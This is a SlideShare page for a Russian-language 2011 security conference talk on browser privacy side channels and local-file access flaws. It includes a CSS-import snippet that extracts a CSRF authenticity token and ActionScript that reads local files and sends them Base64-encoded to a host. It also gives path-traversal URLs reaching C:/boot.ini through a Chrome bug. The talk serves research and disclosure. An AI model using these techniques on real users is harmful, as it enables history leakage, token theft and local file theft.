ONsec browsers security PHD2011

1,582 views
1,489 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,582
On SlideShare
0
From Embeds
0
Number of Embeds
365
Actions
Shares
0
Downloads
22
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

ONsec browsers security PHD2011

  1. 1. Безопасность браузеровНовый взгляд
  2. 2. Google browser security handbook Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах. Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels". http://code.google.com/p/browsersec/wiki/Part2
  3. 3. Google browser security handbookReading back CSS :visited class onlinksFull-body CSS theft (Chris Evans03/09/2010)Resource inclusion probes with onloadand onerror checks.Image size fingerprintingCache timingGeneral resource timing (Chris Evans11/12/2009)
  4. 4. Reading back CSS :visited classon links (J.Ruderman at 2010)Для посещенных ссылок автоматическименяется цвет.В любом HTML документе, цвет ссылки можнопрочитать через .getComputedStyle или .currentStyle (cross-domain).Если цвет ссылки поменялся, тозлоумышленник делает вывод, что в историижертвы есть целевая страница.Перебирая адреса страниц, злоумышленникполучает историю посещений жертвы.
  5. 5. Full-body CSS theft (Chris Evans 2010, only IE8) Браузеры воспринимают HTML как CSS, который можно подключить через <STYLE> В HTML могут быть конфиденциальные данные (например, CSRF токен) Конф. данные можно получить благодаря гибкому CSS парсеру, встроенному в браузер.<style>@import url("http://twitter.com/scarybeaststest");</style>var borrowed = document.body.currentStyle.fontFamily;var i = borrowed.indexOf("authenticity_token = ");borrowed = borrowed.substring(i + 22);
  6. 6. Resource inclusion probes withonload and onerror checks Браузеры вызывают события onload/onerror в зависимости от HTTP статуса загрузки документа При загрузке страниц с других доменов в тэгах: <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES) Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx) Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  7. 7. Image size finderprinting Браузеры автоматически присваивают реальные размеры загруженному на страницу изображению При загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES) Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав) Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  8. 8. Cache timing После посещения страницы, она копируется в кэш браузера - локальные данные ПК Если страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы) Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)
  9. 9. General resource timing (ChrisEvans 11/12/2009) Часто размер динамической страницы веб- приложения зависит от статуса авторизации пользователя Если пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизован Злоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)
  10. 10. Новое в Image size finderprinting. Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтах fileSize позволяет сильно улучшить зону покрытия метода Метод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://
  11. 11. Механизмы загрузки файлов вбраузерах Можно ли загрузить произвольный файл на диск без согласия пользователя? Можно ли предугадать путь к загруженному файлу?
  12. 12. Механизмы кэширования вбраузерахРассмотрим как кэш браузера храниться на диске(файлы, SQLite).В каких случаях кэшированные страницы можноиспользовать как локальные HTML из того жебраузера
  13. 13. Cache finderprinting (Chrome) Требует локального HTML с кодом PoС Используем размеры картинок как сигнатуры для распознавания сайтов в кэше. Можно определить размер кэша с точностью N, где N - среднее количество файлов кэша, на которое приходиться одна картинка
  14. 14. Cache finderprinting (Chrome)Почему работает метод? Кэш храниться в виде раздельных локальных файлов Возможен доступ к файлам с кэшем из браузера Имена кэш-файлов предугадываемые (нумерованные) Image size finderprinting На проверяемом сайте есть картинка уникальных размеров или их последовательность:В примере: Youtube: 113x392, Google: 284x189 && 167x253
  15. 15. Local files access (HTML) Можно ли получить содержимое локальных файлов через .innerHTML? Как проверить наличие произвольного локального файла с ФС?
  16. 16. Local files access (SWF) Файл должен быть собран с опцией (Flex)--use-network=false Плагин должен быть открыт в зоне file://private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); }private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self");} http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  17. 17. Local files access (SWF) http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  18. 18. Local files access (PDF) Adobe 908 Adobe 925We will begin our investigationbased on that information.In the meantime, we ask thatyou do not publicly disclosethis potential issue, in order toprotect Adobes customers.This has been assigned theAdobe tracking number 908.
  19. 19. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11Issue 72492 (Feb 9, 2011) Из командой строки (.lnk файлов) URL вида http: //google.com/../../../../../../../../../../boot.ini ведет на C: /boot.ini Из ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию:http://www.google.ru?q=OMFG../#a/../../../../../../../../../../../boot.ini Можно вызвать через PDF документ расположенный в зоне http://:app.launchURL("http://../../../../../../../boot.ini",true)
  20. 20. Pri-1 Area-Internals SecSeverity-From http:// to file:// (Chrome) Medium Type-Security Mstone-11
  21. 21. Атака из топора (stealing local filefrom remote in Chrome11.0.696.68)
  22. 22. Атака из топора (stealing local filefrom remote in Chrome11.0.696.68)
  23. 23. Что нас ждет? GUI уязвимости URL spoofing PKI spoofing Action spoofing Dialogs bypass
  24. 24. ВОПРОСЫ ???КОНТАКТЫ:D0znpp@ONSEC.RU

×